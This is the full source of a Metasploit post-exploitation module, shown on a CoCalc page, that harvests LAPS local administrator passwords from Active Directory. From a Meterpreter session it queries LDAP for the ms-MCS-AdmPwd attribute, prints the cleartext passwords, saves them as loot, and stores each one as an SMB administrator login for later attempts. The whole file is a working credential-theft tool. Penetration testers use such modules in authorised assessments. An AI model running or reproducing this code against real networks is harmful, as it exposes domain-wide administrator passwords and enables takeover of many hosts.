Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/enum_laps.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::LDAP
9
10
FIELDS = [
11
'distinguishedName',
12
'dNSHostName',
13
'ms-MCS-AdmPwd',
14
'ms-MCS-AdmPwdExpirationTime'
15
].freeze
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Windows Gather Credentials Local Administrator Password Solution',
22
'Description' => %q{
23
This module will recover the LAPS (Local Administrator Password Solution) passwords,
24
configured in Active Directory, which is usually only accessible by privileged users.
25
Note that the local administrator account name is not stored in Active Directory,
26
so it is assumed to be 'Administrator' by default.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Ben Campbell',
31
],
32
'Platform' => [ 'win' ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
},
39
'Compat' => {
40
'Meterpreter' => {
41
'Commands' => %w[
42
stdapi_net_resolve_hosts
43
]
44
}
45
}
46
)
47
)
48
49
register_options([
50
OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
51
OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
52
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
53
OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))'])
54
])
55
56
deregister_options('FIELDS')
57
end
58
59
def run
60
search_filter = datastore['FILTER']
61
max_search = datastore['MAX_SEARCH']
62
63
begin
64
q = query(search_filter, max_search, FIELDS)
65
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
66
print_error(e.message)
67
return
68
end
69
70
if q.nil? || q[:results].empty?
71
print_status('No results returned.')
72
else
73
print_status('Parsing results...')
74
results_table = parse_results(q[:results])
75
print_line results_table.to_s
76
77
if datastore['STORE_LOOT']
78
stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
79
print_good("Results saved to: #{stored_path}")
80
end
81
end
82
end
83
84
# Takes the results of LDAP query, parses them into a table
85
# and records and usernames as {Metasploit::Credential::Core}s in
86
# the database if datastore option STORE_DB is true.
87
#
88
# @param results [Array<Array<Hash>>] The LDAP query results to parse
89
# @return [Rex::Text::Table] the table containing all the result data
90
def parse_results(results)
91
laps_results = []
92
# Results table holds raw string data
93
results_table = Rex::Text::Table.new(
94
'Header' => 'Local Administrator Password Solution (LAPS) Results',
95
'Indent' => 1,
96
'SortIndex' => -1,
97
'Columns' => FIELDS
98
)
99
100
results.each do |result|
101
row = []
102
103
result.each do |field|
104
if field.nil?
105
row << ''
106
else
107
if field[:type] == :number
108
value = convert_windows_nt_time_format(field[:value])
109
else
110
value = field[:value]
111
end
112
row << value
113
end
114
end
115
116
hostname = result[FIELDS.index('dNSHostName')][:value].downcase
117
password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
118
dn = result[FIELDS.index('distinguishedName')][:value]
119
expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
120
121
next if password.to_s.empty?
122
123
results_table << row
124
laps_results << {
125
hostname: hostname,
126
password: password,
127
dn: dn,
128
expiration: expiration
129
}
130
end
131
132
if datastore['STORE_DB']
133
print_status('Resolving IP addresses...')
134
hosts = []
135
laps_results.each do |h|
136
hosts << h[:hostname]
137
end
138
139
resolve_results = client.net.resolve.resolve_hosts(hosts)
140
141
# Match each IP to a host...
142
resolve_results.each do |r|
143
l = laps_results.find { |laps| laps[:hostname] == r[:hostname] }
144
l[:ip] = r[:ip]
145
end
146
147
laps_results.each do |r|
148
next if r[:ip].to_s.empty?
149
next if r[:password].to_s.empty?
150
151
store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
152
end
153
end
154
155
results_table
156
end
157
158
def store_creds(username, password, ip)
159
service_data = {
160
address: ip,
161
port: 445,
162
service_name: 'smb',
163
protocol: 'tcp',
164
workspace_id: myworkspace_id
165
}
166
167
credential_data = {
168
origin_type: :session,
169
session_id: session_db_id,
170
post_reference_name: refname,
171
username: username,
172
private_data: password,
173
private_type: :password
174
}
175
176
credential_data.merge!(service_data)
177
178
# Create the Metasploit::Credential::Core object
179
credential_core = create_credential(credential_data)
180
181
# Assemble the options hash for creating the Metasploit::Credential::Login object
182
login_data = {
183
core: credential_core,
184
access_level: 'Administrator',
185
status: Metasploit::Model::Login::Status::UNTRIED
186
}
187
188
# Merge in the service data and create our Login
189
login_data.merge!(service_data)
190
create_credential_login(login_data)
191
end
192
193
# https://gist.github.com/nowhereman/189111
194
def convert_windows_nt_time_format(windows_time)
195
unix_time = windows_time.to_i / 10000000 - 11644473600
196
ruby_time = Time.at(unix_time)
197
ruby_time.strftime('%d/%m/%Y %H:%M:%S GMT %z')
198
end
199
end
200
201